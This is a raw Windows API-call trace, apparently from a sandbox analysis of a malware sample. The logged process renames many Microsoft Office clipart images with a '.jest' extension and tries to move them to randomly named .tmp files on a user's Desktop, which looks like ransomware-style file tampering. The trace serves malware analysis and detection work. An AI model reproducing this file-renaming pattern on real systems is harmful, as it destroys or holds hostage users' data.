VarBstrFromR4 (in: fltIn=0x47945872, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.89") returned 0x0 [0167.321] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z5u7OCIh-FZgRxVJ5g25SnzrFWkswALRrrbO4 3UG1GgjbwgfLBwqi0D6 lb-e5DF-b6qQBX5_Q_cMTB8 kbGej-RZjqHKn33DZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z5u7ocih-fzgrxvj5g25snzrfwkswalrrrbo4 3ug1ggjbwgflbwqi0d6 lb-e5df-b6qqbx5_q_cmtb8 kbgej-rzjqhkn33dz.tmp")) returned 0 [0167.322] GetLastError () returned 0x2 [0167.322] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.323] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg.jest")) returned 1 [0167.326] VarBstrFromR4 (in: fltIn=0x47945872, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.89") returned 0x0 [0167.327] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3a2zOR32W9xet6 lWEY82 PUfGOIAK0m5HyuDGAGJXTxTlOHG 2gh3nNTuFQdXUy2jvmV-4hV3kPs fyKU0T6U-lcp1h-imnIy2Hy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3a2zor32w9xet6 lwey82 pufgoiak0m5hyudgagjxtxtlohg 2gh3nntufqdxuy2jvmv-4hv3kps fyku0t6u-lcp1h-imniy2hy.tmp")) returned 0 [0167.327] GetLastError () returned 0x2 [0167.327] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.329] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg.jest")) returned 1 [0167.331] VarBstrFromR4 (in: fltIn=0x47945872, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.89") returned 0x0 [0167.332] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-G6YvSePOSew35fKPAdBakypF_srR9qiRT-DvJdoyPFh-TEDWc60HeQeAzta5cKPC12iiph4YD K_ xSdpT73ZmRLJzJDySlikZHo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-g6yvseposew35fkpadbakypf_srr9qirt-dvjdoypfh-tedwc60heqeazta5ckpc12iiph4yd k_ xsdpt73zmrljzjdyslikzho.tmp")) returned 0 [0167.332] GetLastError () returned 0x2 [0167.332] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.333] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg.jest")) returned 1 [0167.335] VarBstrFromR4 (in: fltIn=0x47945872, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.89") returned 0x0 [0167.336] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NIwaYf8L6HT_-oeRSt0ZNI9siksAPfe5IRTIWoJ_B6-ivnr3I5q330yOUi9YK2yoODWO5ykEvCFsW8sggVK9i08Wm6qixHugQm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\niwayf8l6ht_-oerst0zni9siksapfe5irtiwoj_b6-ivnr3i5q330youi9yk2yoodwo5ykevcfsw8sggvk9i08wm6qixhugqm.tmp")) returned 0 [0167.337] GetLastError () returned 0x2 [0167.337] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.338] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg.jest")) returned 1 [0167.339] VarBstrFromR4 (in: fltIn=0x47945874, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.91") returned 0x0 [0167.341] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RoovyVc idme76AV04LfXOx8ikgw__q AJZ2Cv SyrPdu9GsrHjHW6Ekax6__xqWtcTtmd5uOlF66cT9Qfww1mkbnJFgGq1DRKmnU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\roovyvc idme76av04lfxox8ikgw__q ajz2cv syrpdu9gsrhjhw6ekax6__xqwtcttmd5uolf66ct9qfww1mkbnjfggq1drkmnu.tmp")) returned 0 [0167.341] GetLastError () returned 0x2 [0167.341] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.351] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg.jest")) returned 1 [0167.354] VarBstrFromR4 (in: fltIn=0x47945876, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.92") returned 0x0 [0167.355] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nzGIpMg8tOsZM7me3TtTncczLcMMzdjx6EIWwDS-8kdxsPU-lpY_qk4c 4OW8G3p-KYvVLqdlJ LVtd6agxDqN60FYtdqPJKyrg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nzgipmg8toszm7me3tttncczlcmmzdjx6eiwwds-8kdxspu-lpy_qk4c 4ow8g3p-kyvvlqdlj lvtd6agxdqn60fytdqpjkyrg.tmp")) returned 0 [0167.356] GetLastError () returned 0x2 [0167.356] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.356] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg.jest")) returned 1 [0167.358] VarBstrFromR4 (in: fltIn=0x47945876, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.92") returned 0x0 [0167.359] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O-Z4DsSjQa7bHFF y8486tWBnsutRYqOKu0fDElMX60ohHG_PPOl5TqFDrbGgRKgerR5WAhCGXfK6YwG3j_YtqV-86LUAxQlhyWwZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o-z4dssjqa7bhff y8486twbnsutryqoku0fdelmx60ohhg_ppol5tqfdrbggrkgerr5wahcgxfk6ywg3j_ytqv-86luaxqlhywwz.tmp")) returned 0 [0167.360] GetLastError () returned 0x2 [0167.360] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.360] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg.jest")) returned 1 [0167.362] VarBstrFromR4 (in: fltIn=0x47945876, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.92") returned 0x0 [0167.363] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UdZfpWlHT5l5dFddweEIju_Kuv90rw5yZKT5IhlI0DQFBG7KHL45kgx-PnbAW6t hUAZ1W5K9NuwdflNmsqwrVZtvxFU7 XD5_Sl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\udzfpwlht5l5dfddweeiju_kuv90rw5yzkt5ihli0dqfbg7khl45kgx-pnbaw6t huaz1w5k9nuwdflnmsqwrvztvxfu7 xd5_sl.tmp")) returned 0 [0167.363] GetLastError () returned 0x2 [0167.364] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.364] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg.jest")) returned 1 [0167.367] VarBstrFromR4 (in: fltIn=0x47945878, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.94") returned 0x0 [0167.368] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G0S604nGBvHK54BgKTVpDKP86sWH6yeiKXJPy0qu8CzB4o1jJ_vDrH5puowiC_lBoAv0IEQOBsR6-9r0964sHs-33agwtTCCqZNi6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g0s604ngbvhk54bgktvpdkp86swh6yeikxjpy0qu8czb4o1jj_vdrh5puowic_lboav0ieqobsr6-9r0964shs-33agwttccqzni6.tmp")) returned 0 [0167.368] GetLastError () returned 0x2 [0167.368] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.369] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg.jest")) returned 1 [0167.371] VarBstrFromR4 (in: fltIn=0x47945878, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.94") returned 0x0 [0167.372] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UR4oGtYrPvTz0EOGt4xd6-l-3MZ0OiBIrxO7UUQZWkPwTvsCYAel3OGoQ51Ola VjmwiNnVTBniCPDbvEVkuX3-pFFSHQ4KkJql.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ur4ogtyrpvtz0eogt4xd6-l-3mz0oibirxo7uuqzwkpwtvscyael3ogoq51ola vjmwinnvtbnicpdbvevkux3-pffshq4kkjql.tmp")) returned 0 [0167.372] GetLastError () returned 0x2 [0167.372] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.373] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg.jest")) returned 1 [0167.375] VarBstrFromR4 (in: fltIn=0x47945878, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.94") returned 0x0 [0167.376] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZFoEksD0ChV0ZmcfIODE6UfNhkB 5TnCLbJqcfRnh7bf5HUzSpjVhuEzQT0weFjx3YMKC-KejuvxgjRqfLbIk_TT-UQ4QPDsA69JG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zfoeksd0chv0zmcfiode6ufnhkb 5tnclbjqcfrnh7bf5huzspjvhuezqt0wefjx3ymkc-kejuvxgjrqflbik_tt-uq4qpdsa69jg.tmp")) returned 0 [0167.376] GetLastError () returned 0x2 [0167.376] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.377] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg.jest")) returned 1 [0167.379] VarBstrFromR4 (in: fltIn=0x47945878, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.94") returned 0x0 [0167.380] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A2REbpJJZb6y9QnUPlK8q114DDpe9Hz7l1xky_WjteGuXMCz41sHZgzptFOB3xPscgOG9fGfStQKBPj6b7-0igCd1tHRZpY5Kfa-0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a2rebpjjzb6y9qnuplk8q114ddpe9hz7l1xky_wjteguxmcz41shzgzptfob3xpscgog9fgfstqkbpj6b7-0igcd1thrzpy5kfa-0.tmp")) returned 0 [0167.380] GetLastError () returned 0x2 [0167.380] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.381] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg.jest")) returned 1 [0167.384] VarBstrFromR4 (in: fltIn=0x4794587a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.95") returned 0x0 [0167.385] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gI3Y83-0Bv0dV9cYEkH5fkV DgV18SSq00oSZ uqoRFSe7zZW92pg UIz6QgiosGJv0TzXiLHXXZZ32qbCkCptSIhf0YobZqM6eV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gi3y83-0bv0dv9cyekh5fkv dgv18ssq00osz uqorfse7zzw92pg uiz6qgiosgjv0tzxilhxxzz32qbckcptsihf0yobzqm6ev.tmp")) returned 0 [0167.386] GetLastError () returned 0x2 [0167.386] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.387] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg.jest")) returned 1 [0167.390] VarBstrFromR4 (in: fltIn=0x4794587a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.95") returned 0x0 [0167.391] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x02tmULourzlyb8VUWj0_vc_OYpMlif_efc6-rY9 eZmHSooe3G5HHKhq8u3CvHu5ro6Ub0G0rQJzrjBqOG0b6q-6H0TTKAKl4-t.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x02tmulourzlyb8vuwj0_vc_oypmlif_efc6-ry9 ezmhsooe3g5hhkhq8u3cvhu5ro6ub0g0rqjzrjbqog0b6q-6h0ttkakl4-t.tmp")) returned 0 [0167.391] GetLastError () returned 0x2 [0167.391] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.392] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png.jest")) returned 1 [0167.394] VarBstrFromR4 (in: fltIn=0x4794587a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.95") returned 0x0 [0167.395] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oh4ChKKWGT k8s0G-y_ZLJP0MszJWDKL Bb8M5nULDTNbwXqeeyoeVW48Lcv-o291ZFZSwq0ejPsRc7nGzNYBOiYP5fKBKMR3iexv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oh4chkkwgt k8s0g-y_zljp0mszjwdkl bb8m5nuldtnbwxqeeyoevw48lcv-o291zfzswq0ejpsrc7ngznyboiyp5fkbkmr3iexv.tmp")) returned 0 [0167.395] GetLastError () returned 0x2 [0167.396] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.397] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png.jest")) returned 1 [0167.399] VarBstrFromR4 (in: fltIn=0x4794587c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.97") returned 0x0 